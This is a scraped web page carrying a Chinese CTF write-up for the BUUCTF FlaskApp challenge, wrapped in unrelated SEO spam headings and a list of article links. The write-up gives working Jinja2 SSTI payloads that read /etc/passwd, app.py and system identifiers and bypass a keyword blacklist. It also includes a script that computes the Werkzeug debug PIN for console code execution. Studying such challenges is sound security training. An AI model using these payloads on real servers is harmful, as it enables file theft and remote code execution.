当前位置: 首页 > news >正文

网站群建设接入指南做直播的视频在线观看网站

网站群建设接入指南,做直播的视频在线观看网站,做网站视频的赚钱吗,icp备案查询站长之家目录 一、网页功能探索 二、SSTI注入 三、方法一 四、方法二 使用PIN码 #xff08;1#xff09;服务器运行flask登录所需的用户名 #xff08;2#xff09;modename #xff08;3#xff09;flask库下app.py的绝对路径 #xff08;4#xff09;当前网络的mac地…目录 一、网页功能探索 二、SSTI注入 三、方法一 四、方法二 使用PIN码 1服务器运行flask登录所需的用户名 2modename 3flask库下app.py的绝对路径 4当前网络的mac地址的十进制数 5机器的id PIN码 一、网页功能探索 当我在“解密”页面输入123时会跳转到这个页面 非常熟悉的页面以前在做jinjia2的时候看到过猜测是能进行ssti模板注入的。 先在加密页面输入{{2*3}} 得到 e3syKjN9fQ   再去解密页面输入 此时发现得到的是 no no no 也许是 * 被过滤掉了尝试 ,发现可以注入 二、SSTI注入 先尝试文件读取 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[open](/etc/passwd).read()}}加密后为 e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19 解释 1()和.__class__         ()创建一个空元组         .__class__ 获取该对象的类即tuple类 2__bases__[0]         获取基类tuple类的基类是object类 3__subclasses__() [75]         获取特定子类 4__init__.__globals__         访问初始化方法的全局变量 5__builtins__         python中的内置函数包含open,eval 函数 得到 此时不知道flag放到哪个下面了尝试读一下完整的app.py 三、方法一 下面的方法都是参考这位师傅的wp BUUCTF [GYCTF2020]FlaskApp - Amsterdamnit - 博客园 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__catch_warning %} {{c.__init__.__globals__[__builtins__].open(app.py,r).read()}} {% endif %}{% endfor%}变为一行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(app.py,r).read() }}{% endif %}{% endfor %}加密得到 eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9 成功得到app.py的源码 看一下关键的地方发现了waf def waf(str): black_list [#34;flag#34;,#34;os#34;,#34;system#34;,#34;popen#34;,#34;import#34;,#34;eval#34;,#34;chr#34;,#34;request#34;,#34;subprocess#34;,#34;commands#34;,#34;socket#34;,#34;hex#34;,#34;base64#34;,#34;*#34;,#34;?#34;] for x in black_list : if x in str.lower() : return 1 过滤了一些像flag system eval hex base * 等字符 但发现还是可以通过字符串拼接来找目录可以这样构造(构造import 和 os) {{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__][__import__](os).listdir(/)}} 发现一个文件 尝试读取这个文件但这里因为有flag黑名单需要进行一些绕过尝试用python列表的特性使字符串倒过来this_is_the_flag或者直接构造this_is_the_flag.txt应该也行 {{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__].open(txt.galf_eht_si_siht/[::-1],r).read()}} 成功得到flag 四、方法二 使用PIN码 先来进行操作后面再看看怎么解释吧PIN码的生成需要以下步骤 1服务器运行flask登录所需的用户名 通过之前读取的/etc/passwd可以得知为 flaskweb 2modename 一般不变就是flask.app 3flask库下app.py的绝对路径 之前报错的信息里就会泄露 得到/usr/local/lib/python3.7/site-packages/flask/app.py 4当前网络的mac地址的十进制数 通过读取/sys/class/net/eth0/address 就可以得到 {{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__].open(/sys/class/net/eth0/address,r).read()}} 成功得到 fe:fa:23:fe:b7:6e 5机器的id linux的id一般存放在/etc/machine-id 或 /proc/sys/kernel/random/boot_i 中 docker机则读取 /proc/self/cgroup 这里使docker机尝试读取 {{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__].open(/proc/self/cgroup,r).read()}} 得到 3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02 PIN码 然后尝试PIN码 from itertools import chain import hashlib # 定义公共信息 probably_public_bits[flaskweb,flask.app,Flask,/usr/local/lib/python3.7/site-packages/flask/app.py ] # 定义私有信息 private_bits[fe:fa:23:fe:b7:6e,3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02 ] # 将公共信息和私有信息拼接成一个列表 h hashlib.md5() for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit bit.encode(utf-8)h.update(bit) h.update(bcookiesalt) # 最后追加盐值 cookiesalt# 生成Flask调试会话Cookie的名称前缀 cookie_name __wzd h.hexdigest()[:20]# 生成PIN码的中间值 num None if num is None:h.update(bpinsalt)num (%09d % int(h.hexdigest(), 16))[:9]# 格式化PIN码 rv None if rv is None:for group_size in 5, 4, 3:if len(num) % group_size 0:rv -.join(num[x:x group_size].rjust(group_size, 0)for x in range(0, len(num), group_size))breakelse:rv numprint(rv)得到 318-076-921 通过之前输入错误信息跳转的页面可以得知是开启了 flask的debug模式的再次进入错误界面 点击这个终端 输入我们的PIN码 可惜 -_-|,错哩 Flask的调试PIN码是调试的核心安全机制若生产环境误开启调试模式攻击者可通过获取PIN码执行任意代码
http://www.w-s-a.com/news/152472/

相关文章:

  • 网站建设 6万元北京知名的品牌设计公司
  • 网站建设的总体需求是什么vmware 下wordpress
  • 光谷网站建设请检查网络
  • 申请建设网站的报告书商务网站开发课程体会
  • 网站开发实训总结致谢群晖wordpress设置
  • 关于酒店网站建设的摘要天津市建设工程信息网官网首页
  • 网站alexa排名查询手机网站制作器
  • 建设小辣猫的网站电子毕业设计网站建设
  • 询广西南宁网站运营礼品定制
  • 建筑公司网站作用免费查看招标信息的网站
  • 建筑设计公司名字起名大全html网站 怎么做seo
  • 网站群建设模板迁移原站迁移pc巩义网站建设案例课堂
  • 烟台高端网站开发wordpress 设置权限
  • 中小企业网站制作流程网站开发和设计人员的岗位要求
  • 公司网站建设多少费用河北城乡建设官网站
  • 国科联创网站建设广告传媒公司招聘信息
  • 网站后台文章删了 怎么前台还有一级做爰片软件网站
  • 辽宁省建设注册中心网站wordpress 博客插件
  • 做电商看的网站有哪些网站建设需求策划书
  • 关于网站建设交易流程的描述一句话哪些网站用户体验好
  • 男女做暖暖的网站大全深圳平台网站建设外包
  • 凯里展示型网站设计抖音代运营收费详细价格
  • 外包网站会自己做原型吗网站制作怎样盈利
  • 为什么在百度搜不到我的网站电商网站开发过程
  • 什么是网站反链网页设计页面链接
  • 佛山企业网站制作韩国seocaso
  • 微信公司网站vue做社区网站
  • 蒙阴网站优化五核网站建设
  • 企业微商城网站建设wordpress新闻是哪个表
  • 重庆网站开发培训机构电商网站创办过程